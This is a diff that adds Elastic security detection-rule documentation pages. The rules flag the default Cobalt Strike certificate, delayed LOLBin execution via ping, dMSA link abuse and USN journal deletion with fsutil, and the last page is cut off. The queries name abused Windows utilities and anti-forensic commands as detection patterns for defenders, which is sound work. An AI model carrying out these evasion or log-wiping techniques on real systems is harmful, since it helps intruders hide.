a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-default-cobalt-strike-team-server-certificate.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-default-cobalt-strike-team-server-certificate.asciidoc new file mode 100644 index 0000000000..fd9d74a00c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-default-cobalt-strike-team-server-certificate.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-34-default-cobalt-strike-team-server-certificate]] +=== Default Cobalt Strike Team Server Certificate + +This rule detects the use of the default Cobalt Strike Team Server TLS certificate. Cobalt Strike is software for Adversary Simulations and Red Team Operations which are security assessments that replicate the tactics and techniques of an advanced adversary in a network. Modifications to the Packetbeat configuration can be made to include MD5 and SHA256 hashing algorithms (the default is SHA1). See the References section for additional information on module configuration. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/software/S0154/ +* https://www.cobaltstrike.com/help-setup-collaboration +* https://www.elastic.co/guide/en/beats/packetbeat/current/configuration-tls.html +* https://www.elastic.co/guide/en/beats/filebeat/7.9/filebeat-module-suricata.html +* https://www.elastic.co/guide/en/beats/filebeat/7.9/filebeat-module-zeek.html +* https://www.elastic.co/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack + +*Tags*: + +* Tactic: Command and Control +* Threat: Cobalt Strike +* Use Case: Threat Detection +* Domain: Endpoint +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Domain: Network +* Data Source: Network Packet Capture + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Default Cobalt Strike Team Server Certificate* + + +Cobalt Strike is a tool used for simulating advanced cyber threats, often employed by security teams to test defenses. However, adversaries can exploit its default server certificate to establish covert command and control channels. The detection rule identifies this misuse by monitoring network traffic for specific cryptographic hashes associated with the default certificate, flagging potential unauthorized Cobalt Strike activity. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify any connections associated with the specific cryptographic hashes: MD5 (950098276A495286EB2A2556FBAB6D83), SHA1 (6ECE5ECE4192683D2D84E25B0BA7E04F9CB7EB7C), or SHA256 (87F2085C32B6A2CC709B365F55873E207A9CAA10BFFECF2FD16D3CF9D94D390C). +- Identify the source and destination IP addresses involved in the flagged network traffic to determine the potential origin and target of the Cobalt Strike activity. +- Correlate the identified IP addresses with known assets in the network to assess if any internal systems are potentially compromised. +- Check for any other suspicious or anomalous network activities around the same time as the alert to identify potential lateral movement or additional command and control channels. +- Investigate any associated processes or user accounts on the involved systems to determine if there are signs of compromise or unauthorized access. +- Review historical data to see if there have been previous alerts or similar activities involving the same cryptographic hashes or IP addresses, which might indicate a persistent threat. + + +*False positive analysis* + + +- Legitimate security testing activities by internal teams using Cobalt Strike may trigger the rule. Coordinate with security teams to whitelist known testing IP addresses or certificate hashes. +- Some commercial penetration testing services may use Cobalt Strike with default certificates. Verify the legitimacy of such services and exclude their traffic from detection by adding their certificate hashes to an exception list. +- Network appliances or security tools that simulate adversary behavior for training purposes might use similar certificates. Identify these tools and configure exceptions for their specific network traffic patterns. +- In environments where Cobalt Strike is used for authorized red team exercises, ensure that the default certificate is replaced with a custom one to avoid false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further communication with the potential Cobalt Strike server. +- Conduct a thorough forensic analysis of the isolated system to identify any malicious payloads or additional indicators of compromise. +- Revoke any compromised credentials and enforce a password reset for affected accounts to prevent unauthorized access. +- Update and patch all systems to the latest security standards to mitigate vulnerabilities that could be exploited by similar threats. +- Implement network segmentation to limit the lateral movement of threats within the network. +- Enhance monitoring and logging to capture detailed network traffic and endpoint activity, focusing on the identified cryptographic hashes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and coordination with external threat intelligence sources if necessary. + + +*Threat intel* + + +While Cobalt Strike is intended to be used for penetration tests and IR training, it is frequently used by actual threat actors (TA) such as APT19, APT29, APT32, APT41, FIN6, DarkHydrus, CopyKittens, Cobalt Group, Leviathan, and many other unnamed criminal TAs. This rule uses high-confidence atomic indicators, so alerts should be investigated rapidly. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset: network_traffic.tls or event.category: (network or network_traffic)) + and (tls.server.hash.md5:950098276A495286EB2A2556FBAB6D83 + or tls.server.hash.sha1:6ECE5ECE4192683D2D84E25B0BA7E04F9CB7EB7C + or tls.server.hash.sha256:87F2085C32B6A2CC709B365F55873E207A9CAA10BFFECF2FD16D3CF9D94D390C) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Encrypted Channel +** ID: T1573 +** Reference URL: https://attack.mitre.org/techniques/T1573/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-delayed-execution-via-ping.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-delayed-execution-via-ping.asciidoc new file mode 100644 index 0000000000..b6c45e880e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-delayed-execution-via-ping.asciidoc @@ -0,0 +1,231 @@ +[[prebuilt-rule-8-19-34-delayed-execution-via-ping]] +=== Delayed Execution via Ping + +Identifies the execution of commonly abused Windows utilities via a delayed Ping execution. This behavior is often observed during malware installation and is consistent with an attacker attempting to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Delayed Execution via Ping* + + +Ping, a network utility, can be misused by attackers to delay execution of malicious commands, aiding in evasion. Adversaries may use ping to introduce pauses, allowing them to execute harmful scripts or binaries stealthily. The detection rule identifies suspicious ping usage followed by execution of known malicious utilities, flagging potential threats by monitoring specific command patterns and excluding benign processes. + + +*Possible investigation steps* + + +- Review the process tree to understand the sequence of events, focusing on the parent-child relationship between cmd.exe, ping.exe, and any subsequent suspicious processes like rundll32.exe or powershell.exe. +- Examine the command line arguments used with ping.exe to determine the delay introduced and assess if it aligns with typical malicious behavior. +- Investigate the user account associated with the process execution, especially if the user.id is not S-1-5-18, to determine if the account has been compromised or is being misused. +- Check the file path and code signature of any executables launched from the user's AppData directory to verify if they are trusted or potentially malicious. +- Analyze the command line arguments and working directory of any suspicious processes to identify any known malicious patterns or scripts being executed. +- Correlate the alert with any other recent alerts or logs from the same host or user to identify potential patterns or ongoing malicious activity. + + +*False positive analysis* + + +- Legitimate administrative scripts or maintenance tasks may use ping to introduce delays, especially in batch files executed by system administrators. To handle this, identify and exclude specific scripts or command lines that are known to be safe. +- Software installations or updates might use ping for timing purposes. Review the command lines and parent processes involved, and create exceptions for trusted software paths or signatures. +- Automated testing environments may use ping to simulate network latency or wait for services to start. Exclude these processes by identifying the testing framework or environment and adding it to the exception list. +- Some legitimate applications might use ping as part of their normal operation. Monitor these applications and, if verified as safe, exclude their specific command patterns or executable paths. +- Regularly review and update the exception list to ensure it reflects the current environment and any new legitimate use cases that arise. + + +*Response and remediation* + + +- Isolate the affected system from the network immediately to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified in the alert, such as those involving ping.exe followed by the execution of known malicious utilities. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malware or unauthorized software. +- Review and analyze the command history and logs of the affected system to understand the scope of the attack and identify any additional compromised systems. +- Restore the system from a known good backup if malware removal is not feasible or if the system's integrity is in question. +- Implement application whitelisting to prevent unauthorized execution of scripts and binaries, focusing on the utilities identified in the alert. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.parent.entity_id with maxspan=1m + [process where host.os.type == "windows" and event.action == "start" and process.name : "ping.exe" and + process.args : "-n" and process.parent.name : "cmd.exe" and not user.id : "S-1-5-18"] + [process where host.os.type == "windows" and event.action == "start" and + process.parent.name : "cmd.exe" and + ( + process.name : ( + "rundll32.exe", "powershell.exe", + "mshta.exe", "msbuild.exe", + "certutil.exe", "regsvr32.exe", + "powershell.exe", "cscript.exe", + "wscript.exe", "wmic.exe", + "installutil.exe", "msxsl.exe", + "Microsoft.Workflow.Compiler.exe", + "ieexec.exe", "iexpress.exe", + "RegAsm.exe", "installutil.exe", + "RegSvcs.exe", "RegAsm.exe" + ) or + (process.executable : "?:\\Users\\*\\AppData\\*.exe" and not process.code_signature.trusted == true) + ) and + + not process.args : ("?:\\Program Files\\*", "?:\\Program Files (x86)\\*") and + not (process.name : ("openssl.exe", "httpcfg.exe", "certutil.exe") and process.parent.command_line : "*ScreenConnectConfigurator.cmd*") and + not (process.pe.original_file_name : "DPInst.exe" and process.command_line : "driver\\DPInst_x64 /f ") and + not (process.name : "powershell.exe" and process.args : "Write-Host ======*") and + not (process.name : "wscript.exe" and process.args : "launchquiet_args.vbs" and process.parent.args : "?:\\Windows\\TempInst\\7z*") and + not (process.name : "regsvr32.exe" and process.args : ("?:\\windows\\syswow64\\msxml?.dll", "msxml?.dll", "?:\\Windows\\SysWOW64\\mschrt20.ocx")) and + not (process.name : "wscript.exe" and + process.working_directory : + ("?:\\Windows\\TempInst\\*", + "?:\\Users\\*\\AppData\\Local\\Temp\\BackupBootstrapper\\Logs\\", + "?:\\Users\\*\\AppData\\Local\\Temp\\QBTools\\")) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Technique: +** Name: System Script Proxy Execution +** ID: T1216 +** Reference URL: https://attack.mitre.org/techniques/T1216/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvcs/Regasm +** ID: T1218.009 +** Reference URL: https://attack.mitre.org/techniques/T1218/009/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Technique: +** Name: XSL Script Processing +** ID: T1220 +** Reference URL: https://attack.mitre.org/techniques/T1220/ +* Technique: +** Name: Virtualization/Sandbox Evasion +** ID: T1497 +** Reference URL: https://attack.mitre.org/techniques/T1497/ +* Sub-technique: +** Name: Time Based Checks +** ID: T1497.003 +** Reference URL: https://attack.mitre.org/techniques/T1497/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-delegated-managed-service-account-modification-by-an-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-delegated-managed-service-account-modification-by-an-unusual-user.asciidoc new file mode 100644 index 0000000000..5582274226 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-delegated-managed-service-account-modification-by-an-unusual-user.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-34-delegated-managed-service-account-modification-by-an-unusual-user]] +=== Delegated Managed Service Account Modification by an Unusual User + +Detects modifications to the msDS-ManagedAccountPrecededByLink attribute of a delegated managed service account by an unusual subject account. Attackers can abuse this attribute to inherit a target account's permissions and further elevate privileges. + +*Rule type*: new_terms + +*Rule indices*: + +* winlogbeat-* +* logs-system.security* +* logs-windows.forwarded* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Windows + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Delegated Managed Service Account Modification by an Unusual User* + + + +*Possible investigation steps* + + +- What dMSA link did the alert record? + - Focus: confirm 5136 with `winlog.event_data.AttributeLDAPDisplayName` "msDS-ManagedAccountPrecededByLink"; read `winlog.event_data.ObjectDN`, `winlog.event_data.ObjectClass`, `winlog.event_data.AttributeValue`, and `winlog.event_data.OperationType` for dMSA, superseded account DN, and change type. + - Implication: escalate when the link targets a privileged, sync, backup, or widely trusted service account, or the modified object is unexpected; lower suspicion only when object, link, and change type fit one low-impact migration pair. +- Did the controller operation look like bounded dMSA migration or direct link write? + - Why: real migration should not be a lone sensitive attribute write; BadSuccessor risk rises when the link is isolated or paired with unrelated high-impact changes. + - Focus: review same-controller 5136 changes by `winlog.event_data.OpCorrelationID`; compare `winlog.event_data.ObjectDN`, `winlog.event_data.AttributeLDAPDisplayName`, `winlog.event_data.OperationType`, and `winlog.event_data.AttributeValue`. !{investigate{"description":"","label":"Directory changes for the same operation on this controller","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.OpCorrelationID","queryType":"phrase","value":"{{winlog.event_data.OpCorrelationID}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"5136","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if the operation ID is incomplete, query 5136 on `host.id` plus `winlog.event_data.SubjectLogonId` for same-session dMSA or privileged-object changes. + - Implication: escalate on standalone link write, unexpected value replacement, or unrelated ACL, delegation, SPN, or service-account changes; lower suspicion when same-operation or same-session changes stay bounded to one expected migration pair. +- Who wrote the link, and does the identity fit dMSA management? + - Focus: use `winlog.event_data.SubjectUserSid`, `winlog.event_data.SubjectUserName`, `winlog.event_data.SubjectDomainName`, `winlog.event_data.SubjectLogonId`, and `winlog.computer_name` to identify writer, controller session, and service vs human. + - Implication: escalate when the writer is an unfamiliar human, helpdesk account, or low-privilege service identity for dMSA management; keep unresolved when a recognized writer is not tied to the exact dMSA pair. +- Did the writer session originate from an expected source and logon type? + - Focus: pivot from `winlog.event_data.SubjectLogonId` and `host.id` to authentication where `winlog.event_data.TargetLogonId` matches; review `source.ip`, `winlog.logon.type`, and `winlog.event_data.AuthenticationPackageName`. !{investigate{"description":"","label":"Authentication events for the writer session on this controller","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: search 4648 on `winlog.event_data.SubjectLogonId` for explicit-credential use; missing authentication records or `source.ip` are unresolved, not benign. + - Implication: escalate when the session starts from an unexpected host, uses unusual interactive/RDP logon, or shows explicit-credential behavior outside the writer's role; expected source and logon type support closure only after link target and operation cohere. +- Did the linked dMSA or superseded account authenticate from unexpected systems after the change? + - Why: risk peaks when the new dMSA relationship is exercised from hosts that should not use the inherited service account. + - Focus: derive dMSA and superseded account names from `winlog.event_data.ObjectDN` and `winlog.event_data.AttributeValue`, then review authentication by `winlog.event_data.TargetUserName`, `source.ip`, and `winlog.logon.type`. + - Hint: missing authentication telemetry is unresolved, not benign; an unused link still needs disposition from link target, writer, and sequence. + - Implication: escalate when either account authenticates from a new host, admin workstation, or service path after the change; unchanged or absent use does not clear suspicion. +- If still suspicious or unresolved, do recent writer or dMSA alerts show broader abuse? + - Focus: review recent alerts for modifying `user.id`, then modified `winlog.event_data.ObjectGUID`. !{investigate{"description":"","label":"Alerts associated with the source account","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}],[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: use object alerts for shadow credentials, delegation abuse, unusual service changes, or other AD tampering tied to the dMSA. !{investigate{"description":"","label":"Alerts associated with the modified dMSA object","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"winlog.event_data.ObjectGUID","queryType":"phrase","value":"{{winlog.event_data.ObjectGUID}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate and widen scope when either alert set shows privilege abuse, directory tampering, or suspicious authentication; keep scope local when both are quiet and local evidence is the only unresolved signal. +- What disposition fits? + - Weigh link target, operation, writer/session, follow-on use, and related alerts: escalate on high-value link, incoherent operation, unexpected writer/session, new use, or AD abuse; close only when all evidence proves one exact migration; mixed/incomplete evidence -> preserve directory-change and session records, then escalate. + + +*False positive analysis* + + +- Planned dMSA migration by identity/service-account admins may set "msDS-ManagedAccountPrecededByLink". Confirm `winlog.event_data.ObjectDN`, planned `winlog.event_data.AttributeValue`, paired `winlog.event_data.OpCorrelationID`, `winlog.event_data.SubjectUserSid`, recovered `source.ip`, and `winlog.logon.type` match migration account/host path. Telemetry-only closure requires anchors proving one bounded migration; otherwise require records, tickets, or identity-admin confirmation for the exact dMSA pair and writer. Do not close from recurrence or role assumptions. +- Lab validation or staged service-account modernization may trigger. Confirm `winlog.event_data.ObjectDN` and `winlog.event_data.AttributeValue` stay in the authorized test/staging OU, session avoids unrelated privileged objects, and follow-on `winlog.event_data.TargetUserName` or `source.ip` is limited to test hosts. Telemetry-only closure requires test OU, writer, bounded change set, and follow-on hosts proving lab scope; otherwise require test records or lab owner confirmation. +- Before exception, confirm the exact workflow: `winlog.event_data.SubjectUserSid`, `winlog.event_data.ObjectDN`, `winlog.event_data.AttributeValue`, bounded `winlog.event_data.OpCorrelationID`, and recovered controller or source path. Use exceptions only when that verified workflow should repeat; avoid exceptions on the attribute, 5136, or all dMSA changes. + + +*Response and remediation* + + +- If confirmed benign, reverse containment and record: writer SID, dMSA DN, superseded account DN, bounded sequence, recovered source path, and external confirmation for the change. Create an exception only when that workflow should repeat. +- If suspicious but unconfirmed, export the triggering 5136 record, same-operation change sequence, writer-session auth records, explicit-credential evidence, and related alerts before destructive changes. Apply reversible containment first: restrict the recovered source host from domain controllers or monitor the writer, modified dMSA, and superseded account. Disable the writer or isolate the source host only if additional privileged changes, unexpected follow-on authentication, or related alerts appear. +- If confirmed malicious, preserve directory-change and session evidence first, then use endpoint response to isolate the recovered source host and disable/reset the malicious dMSA, compromised writer, and affected superseded service account. If endpoint response is unavailable on the source system, escalate with preserved `source.ip`, `winlog.event_data.SubjectUserSid`, `winlog.event_data.SubjectLogonId`, `winlog.event_data.ObjectGUID`, and related 5136, 4624, or 4648 evidence to responders. Review hosts/services that used the same superseded account or new dMSA before cleanup, verify rollback replication across domain controllers, and only then remove the unauthorized `winlog.event_data.AttributeValue` link, roll back related migration/SPN/delegation changes in the same `winlog.event_data.OpCorrelationID` sequence, and rotate affected secrets or restore service bindings. +- Post-incident hardening: restrict dMSA creation/migration rights, verify domain-controller retention for 5136, 4624, and 4648, and record the migration workflow or BadSuccessor evidence for reuse. + + +==== Setup + + + +*Setup* + + +Audit Directory Service Changes must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-directory-service-changes + + +==== Rule query + + +[source, js] +---------------------------------- +event.code:5136 and host.os.type:"windows" and winlog.event_data.AttributeLDAPDisplayName:"msDS-ManagedAccountPrecededByLink" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Domain Accounts +** ID: T1078.002 +** Reference URL: https://attack.mitre.org/techniques/T1078/002/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-delete-volume-usn-journal-with-fsutil.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-delete-volume-usn-journal-with-fsutil.asciidoc new file mode 100644 index 0000000000..81b8cfbee4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-delete-volume-usn-journal-with-fsutil.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-34-delete-volume-usn-journal-with-fsutil]] +=== Delete Volume USN Journal with Fsutil + +Identifies use of the fsutil.exe to delete the volume USNJRNL. This technique is used by attackers to eliminate evidence of files created during post-exploitation activities. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Delete Volume USN Journal with Fsutil* + + +The Update Sequence Number (USN) Journal is a feature in the NTFS file system used by Microsoft Windows operating systems to keep track of changes made to files and directories on a disk volume. The journal records metadata for changes such as file creation, deletion, modification, and permission changes. It is used by the operating system for various purposes, including backup and recovery, file indexing, and file replication. + +This artifact can provide valuable information in forensic analysis, such as programs executed (prefetch file operations), file modification events in suspicious directories, deleted files, etc. Attackers may delete this artifact in an attempt to cover their tracks, and this rule identifies the usage of the `fsutil.exe` utility to accomplish it. + +Consider using the Elastic Defend integration instead of USN Journal, as the Elastic Defend integration provides more visibility and context in the file operations it records. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + - Verify if any other anti-forensics behaviors were observed. +- Review file operation logs from Elastic Defend for suspicious activity the attacker tried to hide. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "fsutil.exe" or ?process.pe.original_file_name == "fsutil.exe") and + process.args : "deletejournal" and process.args : "usn" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-deprecated-m365-exchange-dlp-policy-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-deprecated-m365-exchange-dlp-policy-deleted.asciidoc new file mode 100644 index 0000000000..d4123f87f2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-deprecated-m365-exchange-dlp-policy-deleted.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-34-deprecated-m365-exchange-dlp-policy-deleted]] +=== Deprecated - M365 Exchange DLP Policy Deleted + +Identifies when a Data Loss Prevention (DLP) policy is removed in Microsoft 365. An adversary may remove a DLP policy to evade existing DLP monitoring. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-dlppolicy?view=exchange-ps +* https://docs.microsoft.com/en-us/microsoft-365/compliance/data-loss-prevention-policies?view=o365-worldwide + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: SaaS 